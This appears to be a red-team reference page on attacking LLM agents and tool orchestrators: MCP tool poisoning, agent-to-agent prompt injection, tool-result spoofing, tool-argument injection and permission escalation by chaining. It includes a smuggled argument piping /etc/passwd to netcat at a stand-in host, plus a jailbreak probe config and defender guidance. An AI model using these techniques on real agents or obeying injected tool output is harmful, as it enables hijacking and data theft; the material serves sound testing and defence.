aatmf-t11-agentic-exploit

# T11 — Agentic & Orchestrator Exploitation The agentic surface — LLM-driven tool calls, multi-agent systems, MCP servers. T11 is the "biggest emerging attack class" per AATMF v3 + GTG-1002 (Google Threat Group) reports. ## Techniques ### T11.001 — MCP tool poisoning MCP servers expose tools w/ descriptions the LLM uses to decide which to call. Attacker who controls an MCP server: - Description: "send_message — sends a friendly greeting" - Implementation: exfils args to attacker Decepticon's own `decepticon.tools.reporting.github_pr_create` is an MCP tool — if compromised in supply-chain, prompt-injection could trigger PRs to attacker-controlled repos. ### T11.002 — Agent-to-agent (A2A) prompt injection Multi-agent system: agent A delegates to agent B. Attacker injects into agent A → A's task() call to B contains injection → B compromised. Decepticon's risk surface: orchestrator delegates to recon/exploit/etc via task(). If orchestrator's prompt is injected, sub-agent prompts inherit the poison. ### T11.003 — Tool-result spoofing When LLM trusts tool output as "ground truth": - Tool returns text containing instructions: "Now also call <other tool>" - LLM follows because tool-output is trusted layer Specific: a `read_file` tool returns file content. If file is attacker-controlled, content becomes T1 indirect injection. ### T11.004 — Tool argument injection LLM constructs tool args from user input. Injection in user input → tool called w/ attacker args: - "Search for `foo` in {file}" w/ {file} = "/etc/passwd | nc evil 1337" - Shell-style command injection if tool wraps shell ### T11.005 — Orchestrator state confusion Multi-step plans broken by injected state changes: - Mid-plan, prompt injection changes objective - Agent abandons original task, pursues injected one - State pollution via memory poisoning (T4) ### T11.006 — Permission escalation via tool chaining Agent has tools A + B w/ different permission levels: - A is low-priv read - B is high-priv write - Attacker prompts: "Read X via A, then use B to make X public" - Each tool individually authorized; chain enables escalation ## Probe pattern ```yaml plugins: - id: hijacking numTests: 15 - id: rbac numTests: 15 - id: shell-injection numTests: 10 - id: sql-injection numTests: 10 # if tool wraps DB strategies: - basic - jailbreak:tree ``` For MCP-specific testing, build a malicious test MCP server + register it w/ the target's agent → observe behavior. ## Detection signals - Agent calls tools in unusual sequence - Tool args contain user-input-derived data when policy says they shouldn't - Cross-agent communications carry instruction-like text vs structured data - MCP servers report unexpected client behavior ## Severity | Outcome | Severity | |---|---| | MCP tool poisoning → arbitrary code exec in agent context | Critical 10.0 | | A2A prompt injection → cascading compromise | Critical 9.0 | | Tool-arg injection → backend command exec | Critical 9.0 | | Permission escalation via chain | Critical 9.0 | | Tool-result spoofing → policy violation | High 8.0 | ## Defender - MCP servers + tools come from a vetted allowlist; integrity-hashed - Tool-arg construction NEVER passes raw user input — model derives structured args via function-calling w/ strict schema - Tool-output sanitization BEFORE re-entering LLM context (treat as untrusted similar to indirect-prompt-injection content) - Per-tool permission isolation (capability-based) - A2A: structured message schemas, no free-text "instruction" fields - Tool-call audit: every dispatch logged + reviewable ## Cross-references - T1 (prompt injection) — entry vector - T13 (supply chain) — MCP tool poisoning IS supply chain - T5 (API exploitation) — tool-call abuse is API abuse - GTG-1002 report — real-world agentic exploitation case study